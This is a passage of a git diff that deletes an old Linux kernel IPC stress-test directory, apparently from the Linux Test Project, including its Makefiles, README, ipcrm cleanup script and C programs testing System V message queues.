diff --git a/testcases/kernel/ipc/ipc_stress/Makefile b/testcases/kernel/ipc/ipc_stress/Makefile
deleted file mode 100644
index c7a2a15..0000000
--- a/testcases/kernel/ipc/ipc_stress/Makefile
+++ /dev/null
@@ -1,32 +0,0 @@
-#
-#    testcases/kernel/ipc/ipc_stress Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-CPPFLAGS		+= -D_LINUX_
-LDLIBS			+= -lpthread
-
-INSTALL_TARGETS		:= run_semaphore_test_01.sh
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/ipc/ipc_stress/Makefile.linux b/testcases/kernel/ipc/ipc_stress/Makefile.linux
deleted file mode 100644
index 007b0f8..0000000
--- a/testcases/kernel/ipc/ipc_stress/Makefile.linux
+++ /dev/null
@@ -1,6 +0,0 @@
-CFLAGS= -O -lpthread -D_LINUX_
-SRCS=$(wildcard *.c)
-TARGETS=$(patsubst %.c,%,$(SRCS))
-
-all: $(TARGETS)
-
diff --git a/testcases/kernel/ipc/ipc_stress/README b/testcases/kernel/ipc/ipc_stress/README
deleted file mode 100644
index ba366f6..0000000
--- a/testcases/kernel/ipc/ipc_stress/README
+++ /dev/null
@@ -1,17 +0,0 @@
-Manoj Iyer, IBM Austin TX, manjo@austin.ibm.com.
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To run these tests run ./testall
-On completion you will see a lot of sem and shm id's created (ipcs), run the
-script ./cleanup to remove them from your system.
-
-You can manually remove the ids by doing the following
-
-IDS=`ipcs | cut -f 2 -d " "`
-
-ipcrm sem $IDS
-ipcrm shm $IDS
-ipcrm msg $IDS
-
-The signal tests are not garunteed to work on 64 bit machines.
-
diff --git a/testcases/kernel/ipc/ipc_stress/cleanup b/testcases/kernel/ipc/ipc_stress/cleanup
deleted file mode 100755
index 5ca4f9a..0000000
--- a/testcases/kernel/ipc/ipc_stress/cleanup
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/bin/sh
-
-SEMS=`ipcs -s | awk '{printf " %d", $2}' | sed -e 's/ 0//g'`
-for SEM_IDS in $SEMS
-do
-	echo "ipcrm -s $SEM_IDS"
-	ipcrm -s $SEM_IDS
-done
-
-MSGS=`ipcs -q | awk '{printf " %d", $2}' | sed -e 's/ 0//g'`
-for MSG_IDS in $MSGS
-do
-	echo "ipcrm -q $MSG_IDS"
-	ipcrm -q $MSG_IDS
-done
-
-SHMS=`ipcs -m | awk '{printf " %d", $2}' | sed -e 's/ 0//g'`
-for SHM_IDS in $SHMS
-do
-	echo "ipcrm -m $SHM_IDS"
-	ipcrm -m $SHM_IDS
-done
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_01.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_01.c
deleted file mode 100644
index 6a64480..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_01.c
+++ /dev/null
@@ -1,248 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                       message_queue_test_01                          |
-| ==================================================================== |
-|                                                                      |
-| Description:  Create a message queue to send messages between two    |
-|               processes.                                             |
-|                                                                      |
-| Algorithm:    o  Parent                                              |
-|                  - Create a pipe                                     |
-|                  - Spawn a child process                             |
-|                  - Create unique message queue identifier and send   |
-|                    it to child process via pipe                      |
-|                                                                      |
-|               o  Child                                               |
-|                  - Wait for message queue identifier from parent     |
-|                  - Send data to parent via message queue and exit    |
-|                                                                      |
-|               o  Parent                                              |
-|                  - Receive message from child process                |
-|                  - Remove message queue                              |
-|                  - Wait for child process to exit                    |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               msgget() - Gets a message queue identifier             |
-|               msgrcv() - Reads a message from a queue                |
-|               msgctl() - Provides message control operations         |
-|                                                                      |
-| Usage:        message_queue_test_01                                  |
-|                                                                      |
-| To compile:   cc -o message_queue_test_01 message_queue_test_01.     |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:03:30                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    1.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.3     022693  DJK   Move to Prod directory                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <signal.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-#include <string.h>
-#include <stdlib.h>
-/*
- * Defines
- *
- * BUF_SIZE: size of message buffer...
- */
-
-#define key_tt int
-#define	FIRST_MSG	0
-#define BUF_SIZE        256
-
-#define SAFE_FREE(p) { if (p) { free(p); (p)=NULL; } }
-
-/*
- * Function prototypes
- *
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void sys_error(const char *, int);
-static void error(const char *, int);
-static void child(int[]);
-enum { READ, WRITE };
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	key_tt msqid;		/* message queue id */
-	struct msgbuf *buf;
-	pid_t pid;
-	int mode = 0666;
-	int fd[2];
-
-	/*
-	 * Print out program header
-	 */
-	printf("%s: IPC Message Queue TestSuite program\n", *argv);
-	fflush(stdout);
-	pipe(fd);
-
-	if ((pid = fork()) == 0) {
-		child(fd);
-		exit(0);
-	} else if (pid < (pid_t) 0)
-		sys_error("fork failed", __LINE__);
-
-	/*
-	 * Create a NEW unique message queue identifier.
-	 */
-	if ((msqid = msgget(IPC_PRIVATE, mode | IPC_CREAT | IPC_EXCL)) < 0)
-		sys_error("msgget failed", __LINE__);
-	printf("\n\tCreate message queue, id: 0x%8.8x\n", msqid);
-	fflush(stdout);
-
-	/*
-	 * Send the newly created message queue identifier to the child
-	 * process via pipes.  Close pipes after sending identifier.
-	 */
-	close(fd[READ]);
-	if (write(fd[WRITE], &msqid, sizeof(key_tt)) < 0)
-		sys_error("write failed", __LINE__);
-	close(fd[WRITE]);
-
-	/*
-	 * Read the data from the message queue
-	 */
-	buf =
-	    (struct msgbuf *)calloc((size_t) (sizeof(struct msgbuf) + BUF_SIZE),
-				    sizeof(char));
-	if (!buf)
-		sys_error("calloc failed", __LINE__);
-
-	if (msgrcv(msqid, (void *)buf, (size_t) BUF_SIZE, FIRST_MSG, 0) < 0) {
-		SAFE_FREE(buf);
-		sys_error("msgsnd failed", __LINE__);
-	}
-	printf("\n\tParent: received message: %s\n", buf->mtext);
-	fflush(stdout);
-	SAFE_FREE(buf);
-
-	/*
-	 * Remove the message queue from the system
-	 */
-	printf("\n\tRemove the message queue\n");
-	fflush(stdout);
-	if (msgctl(msqid, IPC_RMID, 0) < 0)
-		sys_error("msgctl (IPC_RMID) failed", __LINE__);
-
-	printf("\nsuccessful!\n");
-	fflush(stdout);
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                               child                                  |
-| ==================================================================== |
-|                                                                      |
-| Function:  ...                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void child(int fd[])
-{
-	key_tt msqid;		/* message queue id */
-	size_t nbytes;
-	struct msgbuf *buf;
-
-	/*
-	 * Read the message queue identifier from the parent through
-	 * the pipe.  Close pipe after reading identifier.
-	 */
-	close(fd[WRITE]);
-	if (read(fd[READ], &msqid, sizeof(key_tt)) < 0)
-		sys_error("read failed", __LINE__);
-	close(fd[READ]);
-	printf("\n\tChild:  received message queue id: %d\n", msqid);
-	fflush(stdout);
-
-	/*
-	 * Put data on the message queue
-	 */
-	buf =
-	    (struct msgbuf *)calloc((size_t) (sizeof(struct msgbuf) + BUF_SIZE),
-				    sizeof(char));
-	if (!buf)
-		sys_error("calloc failed", __LINE__);
-
-	buf->mtype = 1;
-	sprintf(buf->mtext, "\"message queue transmission test....\"");
-	nbytes = strlen(buf->mtext) + 1;
-
-	printf("\n\tChild:  sending message:  %s\n", buf->mtext);
-	fflush(stdout);
-	if (msgsnd(msqid, buf, nbytes, 0) < 0) {
-		SAFE_FREE(buf);
-		sys_error("msgsnd failed", __LINE__);
-	}
-	SAFE_FREE(buf);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_ctl.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_02_ctl.c
deleted file mode 100644
index 6021a3b..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_ctl.c
+++ /dev/null
@@ -1,243 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                     message_queue_test_02_ctl                        |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify and delete message queues                       |
-|                                                                      |
-| Algorithm:    o  Removes message queues with msgctl (IPC_RMID) if    |
-|                  -r option was specified                             |
-|                                                                      |
-|               o  Prints out message queue stats with                 |
-|                  msgctl (IPC_STAT) if -s option was specified        |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               o  ftok () - generates a standard IPC key              |
-|               o  msgctl () - provides message control operations     |
-|               o  msgget () - gets a message queue identifier         |
-|                                                                      |
-| Usage:        message_queue_test_02_ctl [-f file] [-i id] {-r | -s}  |
-|                                                                      |
-| To compile:   cc -o message_queue_test_02_ctl \                      |
-|                     message_queue_test_02_ctl.c                      |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:03:40                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     032789  CST   Initial version                             |
-|    1.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.3     022694  DJK   Moved to Prod directory                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <stdlib.h>
-
-/*
- * Defines
- *
- * BUF_SIZE: size of message buffer...
- */
-#define DEFAULT_PROJECT_NAME 	"/tmp/message_queue_test"
-#define DEFAULT_PROJECT_ID	20
-#define USAGE	"\nUsage: %s [-f project_name ] [-i project_id ] {-r | -s}\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void parse_args(int, char **);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*
- * Global variables
- *
- * project_name: Unique path used to create key (ftok)
- * project_id:   Unique number used to create key (ftok)
- */
-char *project_name = DEFAULT_PROJECT_NAME;
-char project_id = DEFAULT_PROJECT_ID;
-int rflg = 0;
-int sflg = 0;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	key_t key;		/* Unique key */
-	int msqid;		/* Message queue identifier */
-	struct msqid_ds buf;	/* Message queue info */
-
-	/*
-	 * Parse command line options
-	 */
-	parse_args(argc, argv);
-
-	if ((key = ftok(project_name, project_id)) < 0)
-		sys_error("ftok failed", __LINE__);
-
-	if ((msqid = msgget(key, S_IRUSR | S_IWUSR)) < 0)
-		sys_error("msgget failed", __LINE__);
-
-	if (sflg) {
-		if (msgctl(msqid, IPC_STAT, &buf) < 0)
-			sys_error("msgctl (IPC_STAT) failed", __LINE__);
-
-		printf("uid	%d\n", buf.msg_perm.uid);
-		printf("gid	%d\n", buf.msg_perm.gid);
-		printf("cuid	%d\n", buf.msg_perm.cuid);
-		printf("cgid	%d\n", buf.msg_perm.cgid);
-		printf("mode	%d\n", buf.msg_perm.mode);
-#ifdef _LINUX_
-		printf("seq	%ld\n", (long int)buf.msg_perm.__seq);
-		printf("key	0x%x\n", buf.msg_perm.__key);
-#else
-		printf("seq	%d\n", buf.msg_perm.seq);
-		printf("key	%\n", buf.msg_perm.key);
-#endif
-		printf("cbytes	%ld\n", buf.msg_cbytes);
-		printf("qnum	%ld\n", buf.msg_qnum);
-		printf("qbytes	%ld\n", buf.msg_qbytes);
-		printf("lspid	%d\n", buf.msg_lspid);
-		printf("lrpid	%d\n", buf.msg_lrpid);
-		printf("stime	%ld\n", buf.msg_stime);
-		printf("rtime	%ld\n", buf.msg_rtime);
-		printf("rtime	%ld\n", buf.msg_ctime);
-	}
-	if (rflg) {
-		if (msgctl(msqid, IPC_RMID, 0) < 0)
-			sys_error("msgctl (IPC_RMID) failed", __LINE__);
-	}
-	exit(0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-f] file:  project file                                  |
-|                                                                      |
-|            [-i] num:   project id                                    |
-|                                                                      |
-|            [-s]        print out message queue info                  |
-|                                                                      |
-|            [-r]        remove message queue                          |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "rsf:i:")) != EOF) {
-		switch (opt) {
-		case 's':	/* queue status */
-			sflg++;
-			break;
-		case 'r':	/* remove queue */
-			rflg++;
-			break;
-		case 'f':	/* project file */
-			project_name = optarg;
-			break;
-		case 'i':	/* project id */
-			project_id = *optarg;
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	/*
-	 * Can only specifiy one or the other
-	 */
-	if ((!sflg && !rflg) || (sflg && rflg))
-		errflag++;
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_get.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_02_get.c
deleted file mode 100644
index 7161ebc..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_get.c
+++ /dev/null
@@ -1,205 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                     message_queue_test_02_get                        |
-| ==================================================================== |
-|                                                                      |
-| Description:  Create a message queue to send messages between two    |
-|               processes.                                             |
-|                                                                      |
-| Algorithm:    o  Generate a key value given the project name and id  |
-|                                                                      |
-|               o  Get a unique message queue id                       |
-|                                                                      |
-|               o  Print out message queue id                          |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               o  ftok () - generates a standard IPC key              |
-|               o  msgget () - gets a message queue identifier         |
-|                                                                      |
-| Usage:        message_queue_test_02_get [-f file] [-i id]            |
-|                                                                      |
-| To compile:   cc -o message_queue_test_02_get \                      |
-|                     message_queue_test_02_get.c                      |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:03:43                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     032789  CST   Initial version                             |
-|    1.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.3     022694  DJK   Moved to Prod directory                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-#include <sys/stat.h>
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-
-/*
- * Defines
- *
- * BUF_SIZE: size of message buffer...
- */
-#define DEFAULT_PROJECT_NAME 	"/tmp/message_queue_test"
-#define DEFAULT_PROJECT_ID	20
-#define USAGE	"\nUsage: %s [-f project_name ] [-i project_id ]\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void parse_args(int, char **);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*
- * Global variables
- *
- * project_name: Unique path used to create key (ftok)
- * project_id:   Unique number used to create key (ftok)
- */
-char *project_name = DEFAULT_PROJECT_NAME;
-char project_id = DEFAULT_PROJECT_ID;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	key_t key;		/* Unique key */
-	int msqid;		/* Message queue identifier */
-	int fd;			/* Temp file descriptor */
-	mode_t mode = 0777;	/* Default mode bits */
-
-	/*
-	 * Parse command line options
-	 */
-	parse_args(argc, argv);
-
-	if ((fd = open(project_name, O_CREAT | O_RDWR, mode)) < 0)
-		sys_error("open failed", __LINE__);
-
-	if (close(fd) < 0)
-		sys_error("close failed", __LINE__);
-
-	if ((key = ftok(project_name, project_id)) < 0)
-		sys_error("ftok failed", __LINE__);
-
-	if ((msqid = msgget(key, IPC_CREAT | S_IRUSR | S_IWUSR)) < 0)
-		sys_error("msgget failed", __LINE__);
-
-	printf("%d\n", msqid);
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-f] file:  project file                                  |
-|                                                                      |
-|            [-i] num:   project id                                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "f:i:")) != EOF) {
-		switch (opt) {
-		case 'f':	/* project file */
-			project_name = optarg;
-			break;
-		case 'i':	/* project id */
-			project_id = *optarg;
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_rcv.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_02_rcv.c
deleted file mode 100644
index 78c10bf..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_rcv.c
+++ /dev/null
@@ -1,206 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                     message_queue_test_02_rcv                        |
-| ==================================================================== |
-|                                                                      |
-| Description:  Create a message queue to send messages between two    |
-|               processes.                                             |
-|                                                                      |
-| Algorithm:    o  Generate a key value given the project name and id  |
-|                                                                      |
-|               o  Get a unique message queue id                       |
-|                                                                      |
-|               o  Print out message queue id                          |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               o  ftok () - generates a standard IPC key              |
-|               o  msgget () - gets a message queue identifier         |
-|                                                                      |
-| Usage:        message_queue_test_02_rcv [-f file] [-i id]            |
-|                                                                      |
-| To compile:   cc -o message_queue_test_02_rcv \                      |
-|                     message_queue_test_02_rcv.c                      |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:03:47                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     032789  CST   Initial version                             |
-|    1.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.3     022694  DJK   Moved to Prod directory                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-#include <sys/stat.h>
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-#include <stdlib.h>
-#include <string.h>
-
-/*
- * Defines
- *
- * BUF_SIZE: size of message buffer...
- */
-#define BUF_SIZE		256
-#define DEFAULT_PROJECT_NAME 	"/tmp/message_queue_test"
-#define DEFAULT_PROJECT_ID	20
-#define USAGE	"\nUsage: %s [-f project_name ] [-i project_id ]\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void parse_args(int, char **);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*
- * Global variables
- *
- * project_name: Unique path used to create key (ftok)
- * project_id:   Unique number used to create key (ftok)
- */
-char *project_name = DEFAULT_PROJECT_NAME;
-char project_id = DEFAULT_PROJECT_ID;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	key_t key;		/* Unique key */
-	int msqid;		/* Message queue identifier */
-	struct msgbuf *message;	/* Message buffer */
-
-	/*
-	 * Parse command line options
-	 */
-	parse_args(argc, argv);
-
-	if ((key = ftok(project_name, project_id)) < 0)
-		sys_error("ftok failed", __LINE__);
-
-	if ((msqid = msgget(key, S_IRUSR | S_IWUSR)) < 0)
-		sys_error("msgget failed", __LINE__);
-
-	message =
-	    (struct msgbuf *)calloc((size_t) (sizeof(struct msgbuf) + BUF_SIZE),
-				    sizeof(char));
-	if (msgrcv(msqid, message, BUF_SIZE, 0, 0) < 0)
-		sys_error("msgrcv failed", __LINE__);
-
-	printf("%s\n", message->mtext);
-	free(message);
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-f] file:  project file                                  |
-|                                                                      |
-|            [-i] num:   project id                                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "f:i:")) != EOF) {
-		switch (opt) {
-		case 'f':	/* project file */
-			project_name = optarg;
-			break;
-		case 'i':	/* project id */
-			project_id = *optarg;
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_snd.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_02_snd.c
deleted file mode 100644
index 4b94272..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_02_snd.c
+++ /dev/null
@@ -1,239 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
